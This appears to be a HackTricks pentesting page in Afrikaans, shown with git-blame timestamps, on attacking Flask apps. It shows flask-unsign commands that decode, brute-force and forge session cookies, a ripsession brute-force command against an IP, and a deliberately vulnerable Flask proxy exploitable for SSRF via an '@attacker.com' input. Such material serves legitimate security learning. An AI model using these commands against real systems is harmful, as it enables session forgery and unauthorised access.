hacktricks/network-services-pentesting/pentesting-web/flask.md

123 lines
5.7 KiB
Markdown
Raw Normal View History

2022-05-11 15:39:42 +00:00
# Flask
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 02:24:39 +01:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (515).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
2022-06-06 22:28:05 +00:00
**Waarskynlik as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
## Koekies
Verstek koekiesessienaam is **`session`**.
2020-11-22 23:24:53 +00:00
### Ontleder
Aanlyn Flask-koekiesontleder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
2024-02-11 02:07:06 +00:00
#### Handleiding
Kry die eerste deel van die koekie tot by die eerste punt en Base64-ontsleutel dit>
2020-11-22 21:41:06 +00:00
```bash
echo "ImhlbGxvIg" | base64 -d
```
Die koekie word ook onderteken met behulp van 'n wagwoord
2022-05-11 15:39:42 +00:00
### **Flask-Unsign**
Opdraglynwerktuig om sessiekoekies van 'n Flask-toepassing te haal, te ontsleutel, te kragtig aan te val en te skep deur geheime sleutels te raai.
{% embed url="https://pypi.org/project/flask-unsign/" %}
2020-11-22 21:41:06 +00:00
```bash
pip3 install flask-unsign
```
2024-02-11 02:07:06 +00:00
#### **Dekodeer Koekie**
2020-11-22 21:41:06 +00:00
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
2022-05-11 15:39:42 +00:00
#### **Brute Force**
2020-11-22 21:41:06 +00:00
```bash
2022-05-11 15:39:42 +00:00
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
2024-02-11 02:07:06 +00:00
#### **Ondertekening**
2020-11-22 21:41:06 +00:00
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Ondertekening met behulp van ou erfenis (ou weergawes)
2020-11-22 21:41:06 +00:00
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
2022-09-30 10:27:15 +00:00
Opdraglynwerktuig om webwerwe te kragtig aan te val deur koekies te gebruik wat geskep is met flask-unsign.
2022-09-30 10:27:15 +00:00
{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
2024-02-11 02:07:06 +00:00
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi in Flask sessie koekie met SQLmap
[**Hierdie voorbeeld**](../../pentesting-web/sql-injection/sqlmap/#eval) gebruik sqlmap se `eval` opsie om **outomaties sqlmap payloads te teken** vir flask deur 'n bekende geheim te gebruik.
## Flask Proksi na SSRF
[**In hierdie uiteensetting**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Watter in die volgende scenario:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
2024-02-11 02:07:06 +00:00
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Kon toelaat om iets soos "@attacker.com" in te voer om 'n **SSRF** te veroorsaak.
<figure><img src="../../.gitbook/assets/image (515).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) om maklik te bou en **werkstrome outomaties** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
2022-06-06 22:28:05 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 02:24:39 +01:00
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>